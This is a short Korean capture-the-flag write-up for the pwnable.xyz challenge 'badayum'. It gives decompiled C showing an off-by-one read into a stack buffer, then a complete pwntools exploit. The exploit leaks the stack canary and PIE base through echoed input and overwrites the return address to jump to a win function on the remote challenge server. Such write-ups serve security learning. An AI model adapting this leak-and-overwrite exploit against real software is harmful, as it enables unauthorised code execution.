[pwnable.xyz]badayum
sub_D48
함수에서 랜덤 텍스트를 뿌려준다. 그리고 우리는 그 길이+1 만큼 입력 가능하다.
unsigned __int64 sub_EAD()
{
size_t v0; // rax
size_t v2; // rax
char *s1; // [rsp+8h] [rbp-78h]
char s; // [rsp+10h] [rbp-70h]
unsigned __int64 v5; // [rsp+78h] [rbp-8h]
v5 = __readfsqword(0x28u);
while ( 1 )
{
s1 = sub_D48();
memset(&s, 0, 0x64uLL);
printf("Your score: %d\n", qword_202248);
printf("me > %s\n", s1);
printf("you > ");
v0 = strlen(s1);
read(0, &s, v0 + 1);
if ( !strncmp(&s, "exit", 4uLL) )
break;
v2 = strlen(s1);
if ( !strncmp(s1, &s, v2) )
{
printf("You said: %s", &s);
puts("Yay, you're good at this, let's go on :)\n");
++qword_202248;
}
else
{
printf("You said: %s", &s);
puts("I don't think you understood how this game works :(\n");
--qword_202248;
}
free(s1);
}
free(s1);
puts("Ya go away, I don't want to play with you anymore anyways :P\n");
return __readfsqword(0x28u) ^ v5;
}
랜덤 길이로 인풋 넣을 수 있는데 그리고 입력한거 출력해준다. 이로 인해 Canary, PIE leak 해준 후 win함수로 리턴해주면 된다.
exploit.py
from pwn import *
from ctypes import *
context.log_level = 'debug'
e = ELF('./challenge')
#p = process('./challenge')
p = remote('svc.pwnable.xyz',30027)
lib = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
while True:
p.recvuntil('me > ')
re = p.recvline().strip()
log.info('me > {}'.format(re))
if len(re) >= 105:
sa('you > ','A'*104+'B')
p.recvuntil('A'*104)
can = u64(p.recv(8)) - ord('B')
log.info('Canary : {}'.format(hex(can)))
break
else:
sa('you > ','B')
while True:
p.recvuntil('me > ')
re = p.recvline().strip()
log.info('me > {}'.format(re))
if len(re) >= 121:
sa('you > ','A'*120)
p.recvuntil('A'*120)
pie = u64(p.recv(6)+'\x00\x00') - 0x1081
log.info('PIE : {}'.format(hex(pie)))
break
else:
sa('you > ','C')
payload = 'A'*104 + p64(can) +'A'*8 + p64(pie + 0xd30) # win
while True:
p.recvuntil('me > ')
re = p.recvline().strip()
log.info('me > {}'.format(re))
if len(re) >= len(payload):
sa('you > ',payload)
break
else:
sa('you > ','D')
sa('you > ','exit')
p.interactive()